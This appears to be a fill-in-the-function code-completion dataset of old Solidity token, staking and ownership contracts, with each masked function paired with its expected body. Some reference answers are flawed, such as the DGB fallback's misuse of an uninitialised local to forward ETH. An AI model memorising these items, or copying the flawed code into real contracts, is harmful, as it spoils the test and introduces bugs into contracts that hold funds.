from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract gracoToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
symbol = "graco"; name = "Granacoin"; decimals = 3; _totalSupply = 15000000000; balances[0x07F52BcC2c5Cf6CF9860da69BAFFE8af57475e18] = _totalSupply; emit Transfer(address(0), 0x07F52BcC2c5Cf6CF9860da69BAFFE8af57475e18, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
79441
NervesSmartStaking
StakeMultiSendToken
contract NervesSmartStaking{ using SafeMath for uint; ERC20 public token; struct Contribution{ uint amount; uint time; } struct User{ address user; uint amountAvailableToWithdraw; bool exists; uint totalAmount; uint totalBonusReceived; uint withdrawCount; Contribution[] contributions; } mapping(address => User) public users; address[] usersList; address owner; uint public totalTokensDeposited; uint public indexOfPayee; uint public EthBonus; uint public stakeContractBalance; uint public bonusRate; uint public indexOfEthSent; bool public depositStatus; modifier onlyOwner(){ require(msg.sender == owner); _; } constructor(address _token, uint _bonusRate) public { token = ERC20(_token); owner = msg.sender; bonusRate = _bonusRate; } event OwnerChanged(address newOwner); function ChangeOwner(address _newOwner) public onlyOwner { require(_newOwner != 0x0); require(_newOwner != owner); owner = _newOwner; emit OwnerChanged(_newOwner); } event BonusChanged(uint newBonus); function ChangeBonus(uint _newBonus) public onlyOwner { require(_newBonus > 0); bonusRate = _newBonus; emit BonusChanged(_newBonus); } event Deposited(address from, uint amount); function Deposit(uint _value) public returns(bool) { require(depositStatus); require(_value >= 50000 * (10 ** 18)); require(token.allowance(msg.sender, address(this)) >= _value); User storage user = users[msg.sender]; if(!user.exists){ usersList.push(msg.sender); user.user = msg.sender; user.exists = true; } user.totalAmount = user.totalAmount.add(_value); totalTokensDeposited = totalTokensDeposited.add(_value); user.contributions.push(Contribution(_value, now)); token.transferFrom(msg.sender, address(this), _value); stakeContractBalance = token.balanceOf(address(this)); emit Deposited(msg.sender, _value); return true; } function ChangeDepositeStatus(bool _status) public onlyOwner{ depositStatus = _status; } function StakeMultiSendToken() public onlyOwner {<FILL_FUNCTION_BODY> } function SuperStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } function MasterStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } event EthBonusSet(uint bonus); function SetEthBonus(uint _EthBonus) public onlyOwner { require(_EthBonus > 0); EthBonus = _EthBonus; stakeContractBalance = token.balanceOf(address(this)); indexOfEthSent = 0; emit EthBonusSet(_EthBonus); } function StakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 40000 * (10 ** 18) && amount < 50000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } function SuperStakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } function MasterStakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 200000000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } event MultiSendComplete(bool status); function MultiSendTokenComplete() public onlyOwner { indexOfPayee = 0; emit MultiSendComplete(true); } event Withdrawn(address withdrawnTo, uint amount); function WithdrawTokens(uint _value) public { require(_value > 0); User storage user = users[msg.sender]; for(uint q = 0; q < user.contributions.length; q++){ if(now > user.contributions[q].time + 4 weeks){ user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.add(user.contributions[q].amount); } } require(_value <= user.amountAvailableToWithdraw); require(token.balanceOf(address(this)) >= _value); user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.sub(_value); user.totalAmount = user.totalAmount.sub(_value); user.withdrawCount = user.withdrawCount.add(1); totalTokensDeposited = totalTokensDeposited.sub(_value); token.transfer(msg.sender, _value); stakeContractBalance = token.balanceOf(address(this)); emit Withdrawn(msg.sender, _value); } function() public payable{ } function WithdrawETH(uint amount) public onlyOwner{ require(amount > 0); require(address(this).balance >= amount * 1 ether); msg.sender.transfer(amount * 1 ether); } function CheckAllowance() public view returns(uint){ uint allowance = token.allowance(msg.sender, address(this)); return allowance; } function GetBonusReceived() public view returns(uint){ User memory user = users[msg.sender]; return user.totalBonusReceived; } function GetContributionsCount() public view returns(uint){ User memory user = users[msg.sender]; return user.contributions.length; } function GetWithdrawCount() public view returns(uint){ User memory user = users[msg.sender]; return user.withdrawCount; } function GetLockedTokens() public view returns(uint){ User memory user = users[msg.sender]; uint i; uint lockedTokens = 0; for(i = 0; i < user.contributions.length; i++){ if(now < user.contributions[i].time + 24 hours){ lockedTokens = lockedTokens.add(user.contributions[i].amount); } } return lockedTokens; } function ReturnTokens(address destination, address account, uint amount) public onlyOwner{ ERC20(destination).transfer(account,amount); } }
contract NervesSmartStaking{ using SafeMath for uint; ERC20 public token; struct Contribution{ uint amount; uint time; } struct User{ address user; uint amountAvailableToWithdraw; bool exists; uint totalAmount; uint totalBonusReceived; uint withdrawCount; Contribution[] contributions; } mapping(address => User) public users; address[] usersList; address owner; uint public totalTokensDeposited; uint public indexOfPayee; uint public EthBonus; uint public stakeContractBalance; uint public bonusRate; uint public indexOfEthSent; bool public depositStatus; modifier onlyOwner(){ require(msg.sender == owner); _; } constructor(address _token, uint _bonusRate) public { token = ERC20(_token); owner = msg.sender; bonusRate = _bonusRate; } event OwnerChanged(address newOwner); function ChangeOwner(address _newOwner) public onlyOwner { require(_newOwner != 0x0); require(_newOwner != owner); owner = _newOwner; emit OwnerChanged(_newOwner); } event BonusChanged(uint newBonus); function ChangeBonus(uint _newBonus) public onlyOwner { require(_newBonus > 0); bonusRate = _newBonus; emit BonusChanged(_newBonus); } event Deposited(address from, uint amount); function Deposit(uint _value) public returns(bool) { require(depositStatus); require(_value >= 50000 * (10 ** 18)); require(token.allowance(msg.sender, address(this)) >= _value); User storage user = users[msg.sender]; if(!user.exists){ usersList.push(msg.sender); user.user = msg.sender; user.exists = true; } user.totalAmount = user.totalAmount.add(_value); totalTokensDeposited = totalTokensDeposited.add(_value); user.contributions.push(Contribution(_value, now)); token.transferFrom(msg.sender, address(this), _value); stakeContractBalance = token.balanceOf(address(this)); emit Deposited(msg.sender, _value); return true; } function ChangeDepositeStatus(bool _status) public onlyOwner{ depositStatus = _status; } <FILL_FUNCTION> function SuperStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } function MasterStakeMultiSendToken() public onlyOwner { uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 200000000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this)); } event EthBonusSet(uint bonus); function SetEthBonus(uint _EthBonus) public onlyOwner { require(_EthBonus > 0); EthBonus = _EthBonus; stakeContractBalance = token.balanceOf(address(this)); indexOfEthSent = 0; emit EthBonusSet(_EthBonus); } function StakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 40000 * (10 ** 18) && amount < 50000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } function SuperStakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 50000000 * (10 ** 18) && amount < 200000000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } function MasterStakeMultiSendEth() public onlyOwner { require(EthBonus > 0); require(stakeContractBalance > 0); uint p = indexOfEthSent; while(p<usersList.length && msg.gas > 90000){ User memory currentUser = users[usersList[p]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 85 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 200000000 * (10 ** 18)){ //TODO uint EthToSend = EthBonus.mul(amount).div(totalTokensDeposited); require(address(this).balance >= EthToSend); currentUser.user.transfer(EthToSend); } p++; } indexOfEthSent = p; } event MultiSendComplete(bool status); function MultiSendTokenComplete() public onlyOwner { indexOfPayee = 0; emit MultiSendComplete(true); } event Withdrawn(address withdrawnTo, uint amount); function WithdrawTokens(uint _value) public { require(_value > 0); User storage user = users[msg.sender]; for(uint q = 0; q < user.contributions.length; q++){ if(now > user.contributions[q].time + 4 weeks){ user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.add(user.contributions[q].amount); } } require(_value <= user.amountAvailableToWithdraw); require(token.balanceOf(address(this)) >= _value); user.amountAvailableToWithdraw = user.amountAvailableToWithdraw.sub(_value); user.totalAmount = user.totalAmount.sub(_value); user.withdrawCount = user.withdrawCount.add(1); totalTokensDeposited = totalTokensDeposited.sub(_value); token.transfer(msg.sender, _value); stakeContractBalance = token.balanceOf(address(this)); emit Withdrawn(msg.sender, _value); } function() public payable{ } function WithdrawETH(uint amount) public onlyOwner{ require(amount > 0); require(address(this).balance >= amount * 1 ether); msg.sender.transfer(amount * 1 ether); } function CheckAllowance() public view returns(uint){ uint allowance = token.allowance(msg.sender, address(this)); return allowance; } function GetBonusReceived() public view returns(uint){ User memory user = users[msg.sender]; return user.totalBonusReceived; } function GetContributionsCount() public view returns(uint){ User memory user = users[msg.sender]; return user.contributions.length; } function GetWithdrawCount() public view returns(uint){ User memory user = users[msg.sender]; return user.withdrawCount; } function GetLockedTokens() public view returns(uint){ User memory user = users[msg.sender]; uint i; uint lockedTokens = 0; for(i = 0; i < user.contributions.length; i++){ if(now < user.contributions[i].time + 24 hours){ lockedTokens = lockedTokens.add(user.contributions[i].amount); } } return lockedTokens; } function ReturnTokens(address destination, address account, uint amount) public onlyOwner{ ERC20(destination).transfer(account,amount); } }
uint i = indexOfPayee; while(i<usersList.length && msg.gas > 90000){ User storage currentUser = users[usersList[i]]; uint amount = 0; for(uint q = 0; q < currentUser.contributions.length; q++){ if(now > currentUser.contributions[q].time + 24 hours && now < currentUser.contributions[q].time + 84 days){ amount = amount.add(currentUser.contributions[q].amount); } } if(amount >= 40000 * (10 ** 18) && amount < 50000 * (10 ** 18)){ //TODO uint bonus = amount.mul(bonusRate).div(10000); require(token.balanceOf(address(this)) >= bonus); currentUser.totalBonusReceived = currentUser.totalBonusReceived.add(bonus); require(token.transfer(currentUser.user, bonus)); } i++; } indexOfPayee = i; if( i == usersList.length){ indexOfPayee = 0; } stakeContractBalance = token.balanceOf(address(this));
function StakeMultiSendToken() public onlyOwner
function StakeMultiSendToken() public onlyOwner
34100
Permissions
null
contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; constructor() public {<FILL_FUNCTION_BODY> } function creator() public view returns (address) { return _creator; } function uniswap() public view returns (address) { return _uniswap; } function givePermissions(address who) internal { require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } }
contract Permissions is Context { address private _creator; address private _uniswap; mapping (address => bool) private _permitted; <FILL_FUNCTION> function creator() public view returns (address) { return _creator; } function uniswap() public view returns (address) { return _uniswap; } function givePermissions(address who) internal { require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action"); _permitted[who] = true; } modifier onlyCreator { require(_msgSender() == _creator, "You do not have permissions for this action"); _; } modifier onlyPermitted { require(_permitted[_msgSender()], "You do not have permissions for this action"); _; } }
_creator = 0x3034c13adA81E8D10A249F3DdfcD74A03688e468; _uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; _permitted[_creator] = true; _permitted[_uniswap] = true;
constructor() public
constructor() public
11932
JMEG
burn
contract JMEG { string public name; string public symbol; uint8 public decimals = 18; uint256 public total = 666000000; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function JMEG( ) public { totalSupply = total * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "JMEG"; symbol = "JMEG"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
contract JMEG { string public name; string public symbol; uint8 public decimals = 18; uint256 public total = 666000000; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function JMEG( ) public { totalSupply = total * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "JMEG"; symbol = "JMEG"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } <FILL_FUNCTION> function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true;
function burn(uint256 _value) public returns (bool success)
function burn(uint256 _value) public returns (bool success)
39681
DGB
contract DGB { // Public variables of the token string public name = "DIGIBYTE"; string public symbol = "DGB"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default uint256 public totalSupply; uint256 public tokenSupply = 21000000000; uint256 public buyPrice = 25000; address public creator; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function DGB() public { totalSupply = tokenSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give DatBoiCoin Mint the total created tokens creator = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Buy tokens from contract by sending ether function () payable internal {<FILL_FUNCTION_BODY> } }
contract DGB { // Public variables of the token string public name = "DIGIBYTE"; string public symbol = "DGB"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default uint256 public totalSupply; uint256 public tokenSupply = 21000000000; uint256 public buyPrice = 25000; address public creator; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function DGB() public { totalSupply = tokenSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give DatBoiCoin Mint the total created tokens creator = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } <FILL_FUNCTION> }
uint amount = msg.value * buyPrice; // calculates the amount, made it so you can get many BOIS but to get MANY BOIS you have to spend ETH and not WEI uint amountRaised; amountRaised += msg.value; //many thanks bois, couldnt do it without r/me_irl require(balanceOf[creator] >= amount); // checks if it has enough to sell balanceOf[msg.sender] += amount; // adds the amount to buyer's balance balanceOf[creator] -= amount; // sends ETH to DatBoiCoinMint Transfer(creator, msg.sender, amount); // execute an event reflecting the change creator.transfer(amountRaised);
function () payable internal
/// @notice Buy tokens from contract by sending ether function () payable internal
24484
GlobalLotteryToken
GlobalLotteryToken
contract GlobalLotteryToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function GlobalLotteryToken( ) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract GlobalLotteryToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 900000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 900000000000; // Update total supply (100000 for example) name = "GlobalLotteryToken"; // Set the name for display purposes decimals = 3; // Amount of decimals for display purposes symbol = "GLT"; // Set the symbol for display purposes
function GlobalLotteryToken( )
//human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function GlobalLotteryToken( )
25460
Controller
null
contract Controller { address public owner; constructor() public {<FILL_FUNCTION_BODY> } modifier onlyOwner() { require(msg.sender == owner, "Controller: You are not the owner."); _; } function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; } }
contract Controller { address public owner; <FILL_FUNCTION> modifier onlyOwner() { require(msg.sender == owner, "Controller: You are not the owner."); _; } function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; } }
owner = msg.sender;
constructor() public
constructor() public
33420
DeltaV2
_transferStandard
contract DeltaV2 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Delta Variant V2'; string private _symbol = 'DeltaV2I'; uint8 private _decimals = 9; // Tax and Corona fees will start at 0 so we don't have a big impact when deploying to Uniswap // Corona wallet address is null but the method to set the address is exposed uint256 private _taxFee = 0; uint256 private _CoronaFee = 11; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCoronaFee = _CoronaFee; address payable public _CoronaWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; 